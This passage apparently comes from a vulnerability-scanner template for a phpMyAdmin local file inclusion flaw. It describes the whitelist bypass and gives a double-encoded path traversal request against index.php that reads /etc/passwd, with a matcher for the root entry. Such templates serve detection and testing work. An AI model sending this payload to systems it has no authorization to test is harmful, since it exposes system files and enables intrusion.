The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the \"$cfg['AllowArbitraryServer'] = true\" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the \"$cfg['ServerDefault'] = 0\" case (which bypasses the login requirement and runs the vulnerable code without any authentication)." requests: - method: GET path: - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd' matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" part: body - type: status status: - 200
